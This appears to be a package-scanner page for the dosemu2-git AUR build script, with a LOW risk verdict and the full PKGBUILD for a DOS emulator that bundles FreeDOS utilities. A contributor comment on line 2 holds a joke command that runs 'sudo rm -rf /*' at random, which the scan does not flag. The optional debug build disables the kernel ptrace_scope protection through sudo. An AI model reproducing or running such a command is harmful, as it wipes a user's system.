dosemu2-git

maintainer severach · 7 votes · scanned 2026-08-03 00:08:14.047287
LOW
View on AUR ↗
Why flagged The package downloads build dependencies and DOS utilities from ibiblio.org, a well-known public archive for FreeDOS and related software; these are data/files intended for use within the emulated environment, not executed on the host, so the risk is low despite the non-whitelisted host.

Triggered rules

LOW AI review downgraded a static finding llm_review

The static rules flagged this MEDIUM, but an AI model (qwen/qwen3-235b-a22b-07-25) reviewed the full PKGBUILD and judged it LOW (confidence 95%): The package downloads build dependencies and DOS utilities from ibiblio.org, a well-known public archive for FreeDOS and related software; these are data/files intended for use within the emulated environment, not executed on the host, so the risk is low despite the non-whitelisted host.

1 higher static finding superseded - not the current verdict (shown for transparency)
MEDIUM source=() URL on a non-standard host source_untrusted_domain

One or more source=() URLs point to a host outside the trusted allowlist (github.com, gitlab.com, codeberg.org, pypi.org, …).

  • PKGBUILD:97 'https://www.pement.org/sed/sed16bin.zip'

PKGBUILD

1 offending line(s) highlighted
1# Maintainer: Chris Severance aur.severach aATt spamgourmet dott com
2# Contributor: felix <`(( $RANDOM % 6 == 0 )) && base64 -d <<< ZmVsaXgudm9uLnNAcG9zdGVvLmRlCg== || sudo rm -rf /* `>
3# Based on dosemu-git:
4# Maintainer: Mike Swanson <mikeonthecomputer@gmail.com>
5# Based on the Arch Linux PKGBUILD by:
6# Maintainer: Sergej Pupykin <pupykin.s+arch@gmail.com>
7# Contributor: Jaroslaw Swierczynski <swiergot@aur.archlinux.org>
8# Contributor: Eric Belanger <belanger@astro.umontreal.ca>
9# Contributor: Bob Finch <w9ya@arrl.net>
10
11set -u
12_opt_Debug=0
13# 0 = standard build
14# 1 = debug build
15# 2 = debug build with slow compile to make compile errors easy to see
16# Debug builds must be launched from the command line to allow
17# sudo to change a system setting. If you need to keep the desktop file
18# set the option below.
19
20_opt_clang=0
21# 0 = gcc
22# 1 = clang
23
24_opt_keepdesktop=0
25# 0 = normal
26# 1 = install desktop file even in debug modes. This is dangerous as launching sudo in a .desktop crashes the DE
27
28_opt_fdpp=1
29# 0 = use freedos
30# 1 = use fdpp and comcom64 (boot only, freedos is still used for utilities)
31# 2 = use fdpp and freecom
32
33_opt_altcommand=0
34# 0 = use command. from freedos
35# 1 = use alternate version of command.com, ignored when using fdpp
36
37#_commit='#commit=b63949630d5409ed9fa3039b1cc050d13b707bf3'; # SOURCE_DATE_EPOCH="$(date +%s -d '2021-03-06 04:16')"
38
39_pkgname='dosemu2'
40pkgname="${_pkgname}-git"
41pkgver=2.2.0pre9.2.r1579.ge22fbc4a3
42pkgrel=1
43_pkgver="${pkgver%%[a-z]*}"
44pkgdesc='Virtual machine that allows you to run DOS programs under Linux'
45arch=('i686' 'x86_64')
46#url='https://stsp.github.io/dosemu2/'
47url='https://github.com/dosemu2/dosemu2'
48license=('GPL-2.0-only')
49depends=('glibc' 'alsa-lib' 'libsearpc')
50depends+=('gcc-libs' 'glib2' 'bash' 'libb64' 'libieee1284' 'libslirp' 'fontconfig' 'acl' 'json-c' 'libx11' 'jansson' 'readline' 'libcap' 'libxext' 'dj64')
51if [ "${_opt_Debug}" -ne 0 ]; then
52 depends+=('gdb' 'binutils' 'sudo')
53fi
54if [ "${_opt_fdpp}" -ne 0 ]; then
55 depends+=('fdpp>=1.7')
56fi
57optdepends=(
58 'libao: audio output'
59 'gpm: mouse support in console'
60 'slang: console display'
61 'sdl2: graphical display'
62 'fluidsynth: MIDI support'
63 'soundfont-fluid: or other SoundFont for MIDI support' # ERROR: Your fluidsynth is too old and soundfonts not found
64 #'vde2-dosemu2: networking support' # https://github.com/dosemu2/dosemu2/issues/327
65 #'slirp: networking support' # Integrated
66 'fbset: graphical display on console'
67)
68makedepends=('git' 'flex' 'bison' 'binutils' 'sed' 'perl' 'bash')
69makedepends+=('unzip' 'upx')
70makedepends+=('libb64')
71if [ "${_opt_clang}" -ne 0 ]; then
72 makedepends+=('clang')
73fi
74makedepends+=('i386-elf-binutils')
75provides=("dosemu=${_pkgver}" "${_pkgname}=${_pkgver}")
76conflicts=('dosemu' "${_pkgname}")
77if [ "${_opt_fdpp}" -eq 0 ]; then
78 : # conflicts+=('comcom32' 'fdpp')
79else
80 _opt_altcommand=0
81fi
82backup=(
83 'etc/dosemu/dosemu.conf'
84# 'etc/dosemu/dosemu.users'
85# 'etc/dosemu/global.conf'
86)
87options=('!strip')
88_github='stsp/dosemu2'
89_verwatch=("https://github.com/${_github}/releases.atom" "\s\+<title>${_pkgname}-\([^<]\+\)</title>" 'f')
90_freedos='none'
91_freedos='dosemu-freedos-1.1-bin.tgz'
92#_freedos='dosemu-freedos-bin.tgz'
93#_freedos='msdos70-bin.tgz' # install.c will need to be fixed before this is automatic
94source=(
95 "git+https://github.com/${_github}.git${_commit:-}"
96 #'http://downloads.sourceforge.net/sourceforge/dosemu/dosemu-freedos-1.0-bin.tgz' # for the GNU utils
97 'https://www.pement.org/sed/sed16bin.zip'
98)
99noextract=('sed16bin.zip')
100if [ "${_opt_altcommand}" -ne 0 ]; then
101 source+=("freecom1.3.zip::http://www.ibiblio.org/pub/micro/pc-stuff/freedos/files/repositories/1.3/base/freecom.zip")
102fi
103if [ "${_freedos}" != 'none' ]; then
104 #source+=("https://dl.dropboxusercontent.com/u/13513277/dosemu/${_freedos}")
105 #source+=("https://chungy.keybase.pub/dosemu/${_freedos}")
106 #noextract+=("${_freedos}")
107 _fdiso="https://www.ibiblio.org/pub/micro/pc-stuff/freedos/files/distributions/1.1/official/fd11src.iso"
108 source+=(
109 "${_fdiso}"
110 'fd11_FDchange.log'
111 'fd11_README.bindist'
112 'fd11_freedos-autoexec.bat'
113 'fd11_freedos-config.sys'
114 )
115 noextract+=("${_fdiso##*/}")
116 unset _fdiso
117 makedepends+=('tar')
118fi
119md5sums=('SKIP'
120 'f43650dcf2b3af628e8dd2f203ef606e'
121 '2e0ab23bec79ff33071d80ea26f124dc'
122 'c726b2c05157d3863a93327b1764af96'
123 '2cdc1702c18325286375baabef7aa0c0'
124 'e68cbd8c7b9da7410bfb635e2c63de9f'
125 '86217b06184622be0a886129135eb0e1'
126 'b5865e3f2fe40e1bd57cc88244b7371d'
127 '12b1991af9683997a6ee389c3c5b8caf'
128 '985152274e1a02ac653866cdeb3a5f6f'
129 '2a248b5850c838a0a2cc80b8b280d1e7'
130 'b1c1ec1279098c18e64a78f3b3c1cd17'
131 'e184ea960d91a214b6d89fb5b2d0ff64'
132 '74c36697da74a296f23134234ac9b239'
133 '3b4fe018a970f36a80ecb16c1b961236'
134 '1dc7bff9b5573a88e43ef4efa2d69bba'
135 '5dc0a0ed109fc30e7715370ff94c5a49'
136 '33eb8250ef5b5836984c5c32b074ee3f'
137 'eddff8ac0fb970e1ddffc8ea72ed0139')
138sha256sums=('SKIP'
139 'f59ceb010c9b13cd89d7fba18fc8f6cc9e6a6193ebd3a7c4c5a290058069a905'
140 '10190ff0d38f0d523f748504d5165fa5437492f42887ed8e3cfdad32781147b7'
141 'f8916c96f17ad7d9e2825080753c7072e148940e792295180d46a6c07614b339'
142 '12d175c6db2b6bcc09cf98db17f52afe4f5dac7a58bf3085e8b61e3e64738c13'
143 '396e8d86a14f32c29a0c59ffaf4f6c37c80064f17d77af3ad4f7fe3e2dd4a903'
144 'e4ba0ab8ce88a3e53eed7156ba4256bae4e342f1f9c71c893504536213247954'
145 'f61eb87ec6b077e4b0d917b52362ecc810c8e019907ba6e45bb2780e3aba47d4'
146 'b65be4e041fa6bb52b36c833401091f11fabd8753d84033f004584b6ac3daa25'
147 'f1532fb5794e14cd23cab63b5b4c8d72827d86733e0afd38798297e4ea3afd01'
148 'c68620e8f0f997ef52733de20cc75311d15de1563d7f2ec97f4b84bc32492c98'
149 '8b549e769b301f5bafae5277c982ea322095f053385e26ad17c0e906b39a18c4'
150 'f964b90eb3aae98e562c602d82979025a28be001a623879f4127c807e4d9c8ad'
151 '49df5a5f68b91f64affc9f305a328f0925e07cbe88604e17687c653a523eabe5'
152 'fb4f711de35a83d79e2ef0f67080e95431a3e7933fef8b890042647c1039d1e4'
153 '6ef02deababd6709619fc0c52de67e2af182601576dc5e20f9273bef036e3215'
154 '3a68eb3f30c871370256f10ab9349bf5295f037bf274850eeeefb3b3dc866496'
155 '79cbac8fc5c1b338d4c0e689cdd268309cb5fa28fe088c1f7e93f71462724b75'
156 'b473fd55457c87c067f2a307eca6dd4fbbfc7f9bfe79c7d653b3fc94add9e90a')
157
158pkgver() {
159 set -u
160 cd 'dosemu2'
161 git describe --tag --long | sed -e 's/\([^-][0-9]\+-g\)/r\1/' -e 's/-/./g' -e 's:^dosemu::g'
162 set +u
163}
164
165_fd10='fd10_https://www.ibiblio.org//pub/micro/pc-stuff/freedos/files/distributions/1.0/pkgs'
166_fd11='fd11_https://www.ibiblio.org/pub/micro/pc-stuff/freedos/files/distributions/1.1/repos'
167_fd12='fd12_https://www.ibiblio.org/pub/micro/pc-stuff/freedos/files/distributions/1.2/repos'
168_gnu='gnu_https://www.ibiblio.org/pub/micro/pc-stuff/freedos/gnuish'
169_gnu='gnu_https://mirror.math.princeton.edu/pub/freeDOS/gnuish'
170#_gnu2='gnu_https://ftp.sun.ac.za/ftp/pub/mirrors/freedos/gnuish' # bad SSL/TLS cert according to curl, works in Firefox
171#_gnu2='gnu_https://mirror.math.princeton.edu/pub/freeDOS/gnuish' # no permission
172_gnu2='gnu_https://ftp.sunet.se/mirror/archive/ftp.sunet.se/pub/simtelnet/gnu/gnuish'
173_extras=(
174 # Extras originally found in dosemu-freedos-1.0-bin.tgz
175 "${_fd10}/bwbasicx.zip" # Bywater Basic Ted A. Campbell
176 #"${_fd11}/devel/bwbasic.zip" # DEVEL folder not handled
177 #"${_fd12}/devel/bwbasic.zip" # DEVEL folder not handled
178 "${_fd10}/libx.zip" # Steffen.KaiserT-Online.DE
179 "${_fd10}/teex.zip" # COM
180 #"${_fd11}/util/tee.zip" # EXE
181 #"${_fd12}/unix/tee.zip" # EXE
182 "${_fd10}/touchx.zip" # K. Heidenstrom
183 #"${_fd11}/util/touch.zip"
184 #"${_fd12}/unix/touch.zip"
185 "${_fd10}/wcdx.zip" # Erwin Waterlander
186 #"${_fd12}/util/wcd.zip"
187 "${_gnu}/dos_only/diff23x.zip"
188 "${_gnu}/dos_only/fut312bx.zip" # File utils
189 "${_gnu2}/dos_only/tut111ax.zip" # Text utils
190 "${_gnu}/dos_only/grep20ax.zip"
191 # Extras I want, though many of little use without long file name support
192 "${_gnu}/find32.zip"
193 "${_gnu}/gzip124x.zip" # Where's gunzip?
194 ##"${_gnu}/sed106.zip" # in 00-index but not present. Found elsewhere.
195 #"${_gnu}/dos_only/less291x.zip" # doesn't work any better than more
196 ##"${_gnu}/unzip532.zip" # source only, no exe
197 ##"${_gnu}/dos_only/zip22x.zip"
198 ## zip and unzip are already present in base. These create unwanted unzip.zip and zip.zip
199 #"${_fd11}/archivers/unzip.zip"
200 #"${_fd11}/archivers/zip.zip"
201 ##"${_fd11}/archivers/unrar.zip"
202 "${_fd10}/vim16x.zip"
203 ##"${_fd12}/edit/vim.zip" # Complicated folder structure, not compiled with lfn so most of the good stuff won't work
204 # Others? awk, unix2dos
205 # LFN versions of xcopy move zip unzip
206)
207
208# $1
209# 0 for PKGBUILD
210# 1 for shell script
211_fn_genextra() {
212 local _extra _dl _dli _pfx
213 for _dli in "${!_extras[@]}"; do
214 _dl="${_extras[_dli]}"
215 _pfx="${_dl%%_*}_"
216 _extra="${_pfx}${_dl##*/}"
217 _dl="${_dl#${_pfx}}"
218 _extras["${_dli}"]="${_extra}"
219 if [ "$1" -ne 0 ]; then
220 if [ ! -s "${_extra}" ]; then
221 wget -O "${_extra}" "${_dl}"
222 fi
223 else
224 source+=("${_extra}::${_dl}")
225 noextract+=("${_extra}")
226 fi
227 done
228}
229_fn_genextra '0'
230
231_fn_procextra() {
232 shopt -s nullglob
233 local _extra _exbase
234 declare -A _exdone
235 for _extra in "${_extras[@]}"; do
236 _exbase="${_extra#*_}"
237 _exbase="${_exbase%.zip}"
238 _exbase="${_exbase%x}" # make teex and tee the same for dup checking
239 if [ -z "${_exdone[${_exbase}]:-}" ]; then
240 printf 'Extra: %s\n' "${_extra}"
241 case "${_extra}" in
242 fd*)
243 unzip -d "tmp-freedos$2/dosemu/freedos" -q -o -LL "${_extra}"
244 pushd "tmp-freedos$2/dosemu/freedos" > /dev/null
245 if [ -d 'vim/vim70' ]; then
246 echo ' > Move vim to bin'
247 mv 'vim/vim70/vim.exe' 'vim/vim70/xxd.exe' 'bin/'
248 rm -r 'packages' 'vim'
249 ln -s 'vim.exe' 'bin/vi.exe'
250 fi
251 popd > /dev/null
252 ;;
253 gnu*)
254 mkdir -p "tmp-freedos$2/dosemu/freedos/gnu/gnusort"
255 unzip -d "tmp-freedos$2/dosemu/freedos/gnu/gnusort" -q -o -LL "${_extra}"
256 pushd "tmp-freedos$2/dosemu/freedos/gnu/gnusort" > /dev/null
257 # du has a bug where it changes the CWD
258 # find, join, sort conflict
259 find . '(' -name 'chmod.*' -o -name 'df.*' -o -name 'dd.*' -o -name 'du.*' -o -name 'install.*' -o -name 'sum.*' ')' -delete
260 local _gf
261 for _gf in *; do
262 if [ -d "${_gf}" ]; then
263 case "${_gf}" in
264 'bin'|'dos'|'exe') mv "${_gf}"/*.exe ..; rm -r "${_gf}" ;;
265 'docs'|'man') mkdir -p "../../doc/${_exbase}"; mv "${_gf}"/* "../../doc/${_exbase}"; rmdir "${_gf}" ;;
266 'os2'|'manifest'|'src') rm -r "${_gf}" ;;
267 *) printf 'GNU: Unhandled folder %s\n' "${_gf}"; rm -r "${_gf}" ;;
268 esac
269 else
270 case "${_gf}" in
271 'copying'|*.[0-9]|*.doc|*.man) mkdir -p "../../doc/${_exbase}"; mv "${_gf}" "../../doc/${_exbase}" ;;
272 *.exe) mv "${_gf}" .. ;;
273 *.info|readme*|'file_id.diz') rm "${_gf}" ;;
274 *) printf 'GNU: Unhandled file %s\n' "${_gf}"; rm "${_gf}" ;;
275 esac
276 fi
277 done
278 popd > /dev/null
279 rmdir "tmp-freedos$2/dosemu/freedos/gnu/gnusort"
280 ;;
281 esac
282 _exdone["${_exbase}"]=1
283 fi
284 done
285 shopt -u nullglob
286}
287
288# dosemu-freedos-1.1-bin.tgz
289# $1: set the language for command.com. default en. see nls folder for available languages.
290# $2: unique folder version in case you want to build more than one version at a time
291# $3: output file name
292_gen_fd11() {
293 set -u
294 local _pw="${PWD}"
295 local _iso='fd11src'
296
297 rm -rf "tmp-freedos$2"
298 mkdir -p "tmp-freedos$2/dosemu/freedos/tmp"
299
300 chmod -R 'u+w' "tmp-${_iso}" || :
301 rm -rf "tmp-${_iso}"
302 mkdir "tmp-${_iso}"
303 bsdtar --no-same-permissions -C "tmp-${_iso}" -xf "${_iso}.iso" # 7z additionally extracts [BOOT] which we don't need
304 chmod -R 'u+w' "tmp-${_iso}"
305
306 _fn_procextra "$@"
307
308 local _z _zb
309 shopt -s nullglob
310 for _z in "${_pw}/tmp-${_iso}/FREEDOS/PACKAGES/BASE"/*.ZIP; do
311 _zb="${_z##*/}"
312 _zb="${_zb%%\.*}"
313 _zb="${_zb,,}"
314 case "${_zb}" in
315 #appendx|aproposx|bootfixx|callverx|devloadx|doslfnx|emm386x|fdxmsx|fshieldx|fasthlpx|helpx|infozipx|keybx|nlsfuncx|samcfg|shsudrvx|sysx|xcdromx|xdmax) ;;
316 cdrcachx|chkdskx|ctmousex|cwsdpmix|defragx|dosfsckx|usbdosx|fdapmx|fdiskx|fdpkgx|fdupdatx|fxms286x|formatx|graphicx|himemxx|installx|jemmexx|labelx|lbacachx|mirrorx|printqx|printx|recoverx|ripcordx|samcfgx|shsucdxx|uidex|undelx|unfmtx|xmgrx);;
317 #*) bsdtar -xf "${_z}";; # bsdtar extracting to multiple case folders is too hard to unify
318 *) unzip -d "tmp-freedos$2/dosemu/freedos" -q -o -LL "${_z}";; # unzip converts to lower case and makes all the right folders
319 esac
320 done
321 cd "tmp-freedos$2/dosemu/freedos"
322 #rm -f bin/_*.exe bin/winkern.sys
323 #find . -depth -name '*[A-Z]*' -execdir bash -c '_f="{}"; mv "${_f}" "${_f,,}"' ';'
324
325 #chmod -R 755 'source'
326 rm -rf 'packages' 'source' doc/*.txt
327 cd 'bin'
328 mv 'kernel.sys' 'command.com' ..
329 ln -s '../command.com'
330 # The dup finder below links these to join.exe. We prefer swsubst.exe
331 if [ "$(md5sum < 'swsubst.exe')" = "$(md5sum < 'join.exe')" ]; then
332 ln -sf 'swsubst.exe' 'join.exe'
333 fi
334 if [ "$(md5sum < 'swsubst.exe')" = "$(md5sum < 'subst.exe')" ]; then
335 ln -sf 'swsubst.exe' 'subst.exe'
336 fi
337 cd ..
338 #mv 'appinfo/devload.lsm' 'appinfo/DEVLOAD.LSM' # probably a mistake from doing things by hand
339 if :; then
340 # Localize command.com
341 if [ -s "nls/cmd-$1.com" ]; then
342 ln -sf "nls/cmd-$1.com" 'command.com'
343 ln -sf "../nls/cmd-$1.com" 'bin/command.com'
344 else
345 echo "Can't find nls/cmd-$1.com"
346 return 1
347 fi
348 fi
349 if :; then
350 # Save space by turning duplicate files into symlinks
351 local _fa
352 _fa="$(md5sum $(find -type 'f'))"
353 local _dupmds
354 _dupmds="$(printf '%s\n' "${_fa}" | cut -d' ' -f1 | sort | uniq -c | grep -v -e '^\s\+1\s' | cut -c9-)"
355 local _line
356 local _md5
357 local _md5p=''
358 local _fil
359 local _filp
360 local _siz
361 local _sizp
362 while IFS='' read -r _line || [[ -n "${_line}" ]]; do
363 _md5="${_line%% *}"
364 _fil="${_line##* }"
365 _siz="$(stat -c'%s' "${_fil}")"
366 if [ "${_md5}" = "${_md5p}" ]; then
367 if [ "${_siz}" = "${_sizp}" ]; then
368 echo ln -srf "${_filp}" "${_fil}"
369 ln -srf "${_filp}" "${_fil}"
370 fi
371 else
372 _md5p="${_md5}"
373 _filp="${_fil}"
374 _sizp="${_siz}"
375 fi
376 done < <(grep -F -e "${_dupmds}" <<<"${_fa}" | sort)
377 fi
378 shopt -u nullglob
379 cd ..
380 #zip -o '../../fd11src-config' 'FDchange.log' 'README.bindist' freedos/{autoexec.bat,config.sys}
381 if :; then
382 for _z in "${srcdir}"/fd11_*; do
383 _zb="${_z##*/}"
384 _zb="${_zb##fd11_}"
385 _zb="${_zb//-//}"
386 cp -p "${_z}" "${_zb}"
387 touch -h -d '2007-04-28 11:42:32.000000000 -0400' "${_zb}"
388 done
389 else
390 bsdtar -xf "${_pw}/${_iso}-config.zip"
391 fi
392 cd ..
393
394 # set mtime timestamps on generated dirs and links for repeatable md5sum. tar doesn't store atime
395 find . -depth '(' -type 'd' -o -type 'l' ')' -exec touch -h -r 'dosemu/FDchange.log' '{}' '+'
396
397 rm -f "../$3"
398 tar -I 'gzip --best -n' --sort='name' -cf "../$3" 'dosemu/'
399 cd ..
400 md5sum "$3"
401 rm -rf "tmp-freedos$2" "tmp-${_iso}"
402 set +u
403}
404
405prepare() {
406 set -u
407
408 mkdir -p 'sed16'
409 unzip -d 'sed16' -q -o -LL 'sed16bin.zip'
410 cd 'dosemu2'
411
412 local _pt
413 for _pt in "${source[@]%%::*}"; do
414 _pt="${_pt##*/}"
415 if [[ "${_pt}" = *.patch ]]; then
416 set +u; msg2 "Patch ${_pt}"; set -u
417 patch -Nup1 -i "${srcdir}/${_pt}"
418 fi
419 done
420
421 #cd ..; cp -pr 'dosemu2' 'a'; ln -s 'dosemu2' 'b'; false
422 # diff -pNaru5 'a' 'b' > 0000-$RANDOM.localpatch
423 shopt -s nullglob
424 for _pt in "${startdir}/"/*.localpatch; do
425 set +u; msg2 "Local Patch ${_pt}"; set -u
426 patch -Nup1 -i "${_pt}"
427 done
428 shopt -u nullglob
429
430 # Some makepkg options including -i erroneously run prepare() for vcs packages
431 if [ -f 'debian/rules' ]; then
432 if [ "${_freedos}" != 'none' ]; then
433 ln -sf "../${_freedos}"
434 fi
435 #ln -s '../.git' 'src/.git'
436 local _onoff=(off on on)
437 cat > 'compiletime-settings' << EOF
438config {
439 sysconfdir /etc
440 fdtarball ${_freedos}
441 prefix /usr
442 plugin_vde off
443 plugin_slirp on
444 fdpp ${_onoff[${_opt_fdpp}]}
445 debug ${_onoff[${_opt_Debug}]}
446}
447EOF
448 rm -f 'debian/rules' # We don't use this file so I'm using it as a flag.
449 fi
450 set +u
451}
452
453_configure() { # makepkg -e compatible
454 set -u
455 cd 'dosemu2'
456 if [ ! -s 'configure' ]; then
457 ./autogen.sh
458 local _opts=()
459 if [ "${_opt_fdpp}" -eq 0 ]; then
460 _opts+=(--disable-fdpp)
461 fi
462 if [ "${_opt_Debug}" -ne 0 ]; then
463 _opts+=('-d' '--enable-debug')
464 #_opts+=('-d' '--disable-xbacktrace')
465 fi
466 if [ -z "${CFLAGS:-}" ]; then
467 export CFLAGS='-O2' # compile errors without -O2
468 fi
469 if [ "${_opt_clang}" -ne 0 ]; then
470 #_opts+=('CC=clang' 'CXX=clang++')
471 sed -e '/^STRING=/ s:"":"CC=clang CXX=clang++":g' -i 'default-configure'
472 CFLAGS="${CFLAGS//-fstack-protector-strong/} -fno-stack-protector" # Issue #332
473 CFLAGS="${CFLAGS//-Wformat-overflow=[0-9]/}"
474 fi
475 echo "CFLAGS=${CFLAGS}"
476 CFLAGS="${CFLAGS} -Wno-unused-result" \
477 set -x
478 "${PWD}"/default-configure "${_opts[@]}" --prefix='/usr'
479 set +x
480 fi
481 set +u
482 cd "${srcdir}"
483}
484
485build() {
486 if [ "${_freedos}" != 'none' ] && [ ! -s 'dosemu-freedos-1.1-bin.tgz' ]; then
487 _gen_fd11 'en' '11' 'dosemu-freedos-1.1-bin.tgz'
488 fi
489 _configure
490 set -u
491 cd 'dosemu2'
492 if [ "${_opt_Debug}" -gt 1 ]; then
493 nice make -j1
494 else
495 nice make -s
496 fi
497 set +u
498}
499
500package() {
501 set -u
502 cd 'dosemu2'
503 make DESTDIR="${pkgdir}" install
504 test -d "${pkgdir}/usr/local" && echo "${}"
505 if [ "${_opt_Debug}" -eq 0 ] || [ "${_opt_keepdesktop}" -ne 0 ]; then # sudo in the launcher crashes cinnamon
506 install -Dm644 <(cat << EOF
507[Desktop Entry]
508Name=DOSEMU
509Exec=dosemu
510Icon=dosemu
511Terminal=false
512Type=Application
513Categories=Emulator;System;
514GenericName=DOS Emulator
515EOF
516 ) "${pkgdir}/usr/share/applications/xdosemu.desktop"
517 fi
518 install -Dpm644 'etc/dosemu.xpm' -t "${pkgdir}/usr/share/icons/"
519 install -Dpm644 'COPYING' 'COPYING.DOSEMU' -t "${pkgdir}/usr/share/licenses/${_pkgname}/"
520 # Add the gnu tools to prevent compatibility problems
521 #install -Dpm644 '../dosemu/freedos/gnu'/* -t "${pkgdir}/usr/share/dosemu/freedos/gnu/"
522 # gnu belongs in dosemu2-extras/freedos, not dosemu/freedos
523 # I don't want to move it just now
524 install -d "${pkgdir}/usr/share/dosemu/freedos"
525 ln -s '/usr/share/dosemu2-extras/freedos/gnu' "${pkgdir}/usr/share/dosemu/freedos/gnu"
526 if [ "${_opt_Debug}" -ne 0 ]; then
527 local _code='
528if [ "$(cat "/proc/sys/kernel/yama/ptrace_scope")" -ne "0" ]; then
529 echo "DEBUG BUILD: Enter user password to disable ptrace_scope"
530 echo "0" | sudo tee "/proc/sys/kernel/yama/ptrace_scope" > /dev/null
531fi
532
533'
534 local _lf=$'\n'
535 sed -e '# Enable ptrace_scope' \
536 -e "s@^get_binary()@${_code//${_lf}/\\n}&@g" \
537 -i "${pkgdir}/usr/bin/dosemu"
538 fi
539 if [ "${_opt_fdpp}" -ne 0 ]; then
540 if [ "${_opt_fdpp}" -eq 2 ]; then
541 find "${pkgdir}" '(' -name 'kernel.sys' ')' -delete # remove files and symlinks
542 else
543 find "${pkgdir}" '(' -name 'command.com' -o -name 'kernel.sys' ')' -delete # remove files and symlinks
544 fi
545 elif [ "${_opt_altcommand}" -ne 0 ]; then
546 local _cmdlist
547 readarray -t _cmdlist <<< "$(find "${pkgdir}" -type 'f' -name 'command.com')"
548 if [ "${#_cmdlist[@]}" -ne 1 ]; then
549 printf 'Found %u command.com, want only 1\n' "${#_cmdlist[@]}"
550 set +u
551 false
552 fi
553 install -pm644 "${srcdir}/BIN/COMMAND.COM" "${_cmdlist[0]}"
554 fi
555
556
557 pushd '../sed16' > /dev/null
558 install -Dp -t "${pkgdir}/usr/share/dosemu2-extras/freedos/doc/sed" 'readme.16x' 'sed.lst'
559 install -p -t "${pkgdir}/usr/share/dosemu2-extras/freedos/bin" 'sed.com'
560 popd > /dev/null
561
562 upx -d $(grep -lare 'UPX' --include '*.exe' "${pkgdir}")
563 set +u
564}
565
566set +u
567

Scan history

Scanned at (UTC)SeverityRules
2026-08-03 00:08:14 LOW 2
2026-08-02 00:16:08 LOW 2
2026-08-01 00:11:18 LOW 2
2026-07-31 00:14:10 LOW 2
2026-07-30 00:17:23 LOW 2
2026-07-29 00:25:53 LOW 2
2026-07-28 00:07:28 LOW 2
2026-07-27 00:24:32 LOW 2
2026-07-26 00:07:32 LOW 2
2026-07-25 00:13:44 LOW 2
2026-07-24 00:02:28 LOW 2
2026-07-23 00:14:47 LOW 2
2026-07-22 00:29:32 LOW 2
2026-07-21 00:24:15 LOW 2
2026-07-20 00:19:49 LOW 2
2026-07-19 00:17:08 LOW 2
2026-07-18 00:14:48 LOW 2
2026-07-17 00:06:16 LOW 2
2026-07-16 00:05:41 LOW 2
2026-07-15 00:09:25 LOW 2

Report a package

Reports go to the AURWatch maintainer (one person) and are read by hand. No login required.

0 / 4000
Your suggestion